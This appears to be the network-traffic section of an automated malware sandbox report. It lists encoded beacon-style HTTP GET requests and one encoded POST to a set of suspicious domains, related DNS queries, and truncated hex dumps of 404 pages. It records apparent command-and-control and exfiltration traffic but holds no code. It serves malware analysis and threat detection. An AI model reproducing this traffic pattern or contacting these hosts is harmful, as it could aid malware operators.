Source: global traffic	HTTP traffic detected: GET /rfhq/?KV=WCm/hpCimsJ9ehq7lKIv1VDyybMiIAv0Npn9YOFuJ9oZ3M+13oCVUFgjBEgQ3CHtpzgI5GBo5BBlGxqkDMLBEiy3WEQe219nV0S5mknFQQ1hIDuAzNxIBCE=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.guacamask.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /jt56/?KV=3PCDLLbgpXdI7ZTJtsGfuMg/bmPFCu/6tWsXVWyqAde3py4xBHmx0QKjwMzGHP1esqkhpY0hgYiTwk+VbJ1wfRdswz4Mf7fkXLX0rdEfHuvF7ynYddkbc+A=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.supernutra01.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /4bee/?KV=OWaLDb1Jm9p4bkDVec29BoDmBVET5eJeilgKnYToBBeYyiPSqC7oM1F3UnEyEVbrshSo8g4GkysDEHe9VbsXh/SWnXsZyYCMcK4IBi4/IwS5Oa2XQ2sC/aw=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.bookingservice.centerConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /q6ws/?KV=2RCZf5GiD+fToLXcMHisxCqwWbc28bp5zmUuGnuHZcsPDzCWfzFSI1Df4pF2LDKbQ3OqnVWPrFqSO4182xFWIWWOBmKrBRiY7XTQRir+3P1LJShw3pPG+Dk=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.connecty.liveConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /37ym/?KV=8/t/mdNf2RQMOaNBNJ0C2CHQCZtSfGEsPKxsb92U4gy0IzojrjG5dpGxrabMefB+TiCWCE+I+OwKVMkti2s7d6J9YJjeD9jGibmgDAwgawFnRnPmUcSsGcI=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.seeseye.websiteConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /mxde/?KV=8xKxkpsUUE6O2YGNwLnJ/+WM1qqfoI8NOsOkZIrS/NSsfWu+QjWct9+gZKiyGOAYB5Pljgx8M21MT9QArezJJe5Vce6MQIBegnnKKN1EkLTSu1v+eqsUQ+w=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.bcg.servicesConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /x4ne/?KV=IjUvc9W1zDiNc9PqfXKx1TS0r6LahxQTMxD+2/9txvMkLHbQHvhCPVSp7yYBhZqVsANcjuLc38irD20I6v8c1v1ytT+DEei/9odakMDFYuDWzKGl/p+Lmpo=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.aiactor.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /idu4/?KV=qD8cAnDgckBLYUQoRh7zBwgp4vAR8SH4vArrPOMmIDAln/sBv7g5z1sASbSU3sLbiWKHdb75VGXih9cbyGRF9rbA94O5jPyz1SB60B/cp/B1u7O6lua4pvo=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.76kdd.topConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /04wl/?KV=10FWZSQ9WPLVyv9qBMSr5p2LrQDaGm/mNCwAUqa3tlQsFj4tjY5WEjDNTnPsz2N9DzYKtSqEkqZ6JmaP68J/ydW7QnrBD/a7HdnFb2gh9G13RXTqS9Au/Yk=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.rafconstrutora.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /me88/?KV=q4gJP+3oagrN9CKx8rfxsUGQTP5gFdbCqSnsSAovlnmOs/6LoBJM5Gt+ZeI5OsVhXMd6KM7YnqTd6M8YysOllc/dqLONIyR3l/1k9rdJVwtuEJXWvL6OrMc=&Wno=a0qDq HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.614genetics.onlineConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.duwixushx.xyz
Source: global traffic	DNS traffic detected: DNS query: www.1qcczjvh2.autos
Source: global traffic	DNS traffic detected: DNS query: www.yvcp3.info
Source: global traffic	DNS traffic detected: DNS query: www.guacamask.online
Source: global traffic	DNS traffic detected: DNS query: www.supernutra01.online
Source: global traffic	DNS traffic detected: DNS query: www.bookingservice.center
Source: global traffic	DNS traffic detected: DNS query: www.connecty.live
Source: global traffic	DNS traffic detected: DNS query: www.seeseye.website
Source: global traffic	DNS traffic detected: DNS query: www.bcg.services
Source: global traffic	DNS traffic detected: DNS query: www.aiactor.xyz
Source: global traffic	DNS traffic detected: DNS query: www.76kdd.top
Source: global traffic	DNS traffic detected: DNS query: www.rafconstrutora.online
Source: global traffic	DNS traffic detected: DNS query: www.614genetics.online
Source: global traffic	DNS traffic detected: DNS query: www.amayavp.xyz

Source: unknown

HTTP traffic detected: POST /od8t/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brHost: www.1qcczjvh2.autosConnection: closeContent-Length: 199Content-Type: application/x-www-form-urlencodedCache-Control: no-cacheOrigin: http://www.1qcczjvh2.autosReferer: http://www.1qcczjvh2.autos/od8t/User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36Data Raw: 4b 56 3d 65 55 34 42 51 56 6f 47 51 43 6e 4c 4d 71 6b 30 7a 49 52 30 68 69 2f 4d 6f 62 50 38 44 66 36 71 47 38 7a 76 4d 79 48 66 37 48 70 68 45 63 41 64 74 34 63 34 41 5a 71 75 6d 74 6d 47 56 44 34 75 31 41 30 2f 73 6a 71 37 48 76 49 4b 64 50 6b 63 4f 65 64 39 63 2b 43 31 53 6c 44 43 37 74 65 54 64 72 63 7a 43 41 4d 6b 4c 35 77 69 46 57 41 57 2b 4d 7a 38 4d 4f 6e 73 71 39 66 49 5a 2b 69 50 31 59 4a 30 32 67 57 68 42 4f 4d 64 46 75 66 56 67 73 36 73 52 67 5a 46 78 31 62 4d 5a 6f 79 78 30 39 4f 72 71 67 46 37 4c 65 63 5a 57 6b 36 35 45 78 6c 57 6a 6d 2b 50 70 50 45 55 6f 39 54 77 67 67 3d 3d Data Ascii: KV=eU4BQVoGQCnLMqk0zIR0hi/MobP8Df6qG8zvMyHf7HphEcAdt4c4AZqumtmGVD4u1A0/sjq7HvIKdPkcOed9c+C1SlDC7teTdrczCAMkL5wiFWAW+Mz8MOnsq9fIZ+iP1YJ02gWhBOMdFufVgs6sRgZFx1bMZoyx09OrqgF7LecZWk65ExlWjm+PpPEUo9Twgg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 15:54:08 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Wed, 20 Nov 2024 15:54:25 GMTContent-Type: text/html; charset=utf-8Content-Length: 58288Connection: closeVary: Accept-EncodingETag: "67344967-e3b0"Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 7d 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 09 09 09 09 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 09 09 09 09 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 32 25 3b 0a 09 09 09 7d 0a 09 09 09 2e 6c 6f 67 6f 20 69 6d 67 20 7b 0a 09 09 09 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 09 09 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 6c 6f 67 6f 20 69 6d 67 20 2b 20 69 6d 67 20 7b 0a 09 09 09 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 32 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 74 69 74 6c 65 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 30 70 78 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 30 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 64 65 73 63 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 37 37 37 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 09 09 2f 2a 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 09 09 09 6c 65 66 74 3a 20 30 3b 0a 09 09 09 09 62 6f 74 74 6f 6d 3a 20 33 32 70 78 3b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 20 2a 2f 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 66 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Wed, 20 Nov 2024 15:54:28 GMTContent-Type: text/html; charset=utf-8Content-Length: 58288Connection: closeVary: Accept-EncodingETag: "67344967-e3b0"Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 7d 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 09 09 09 09 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 09 09 09 09 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 32 25 3b 0a 09 09 09 7d 0a 09 09 09 2e 6c 6f 67 6f 20 69 6d 67 20 7b 0a 09 09 09 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 09 09 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 6c 6f 67 6f 20 69 6d 67 20 2b 20 69 6d 67 20 7b 0a 09 09 09 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 32 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 74 69 74 6c 65 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 30 70 78 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 30 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 64 65 73 63 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 37 37 37 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 09 09 2f 2a 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 09 09 09 6c 65 66 74 3a 20 30 3b 0a 09 09 09 09 62 6f 74 74 6f 6d 3a 20 33 32 70 78 3b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 20 2a 2f 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 66 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Wed, 20 Nov 2024 15:54:30 GMTContent-Type: text/html; charset=utf-8Content-Length: 58288Connection: closeVary: Accept-EncodingETag: "67344967-e3b0"Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 7d 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 09 09 09 09 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 09 09 09 09 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 32 25 3b 0a 09 09 09 7d 0a 09 09 09 2e 6c 6f 67 6f 20 69 6d 67 20 7b 0a 09 09 09 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 09 09 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 6c 6f 67 6f 20 69 6d 67 20 2b 20 69 6d 67 20 7b 0a 09 09 09 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 32 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 74 69 74 6c 65 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 30 70 78 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 30 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 64 65 73 63 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 37 37 37 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 66 6f 6f 74 65 72 20 7b 0a 09 09 09 09 2f 2a 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 09 09 09 6c 65 66 74 3a 20 30 3b 0a 09 09 09 09 62 6f 74 74 6f 6d 3a 20 33 32 70 78 3b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 20 2a 2f 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 66 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Wed, 20 Nov 2024 15:54:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 58288Connection: closeVary: Accept-EncodingETag: "67344967-e3b0"Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 7d 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 09 09 09 09 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 09 09 09 09 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 09 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 32 25 3b 0a 09 09 09 7d 0a 09 09 09 2e 6c 6f 67 6f 20 69 6d 67 20 7b 0a 09 09 09 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 09 09 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 6c 6f 67 6f 20 69 6d 67 20 2b 20 69 6d 67 20 7b 0a 09 09 09 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 32 70 78 3b 0a 09 09 09 7d 0a 09 09 09 2e 74 69 74 6c 65 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 30 70 78 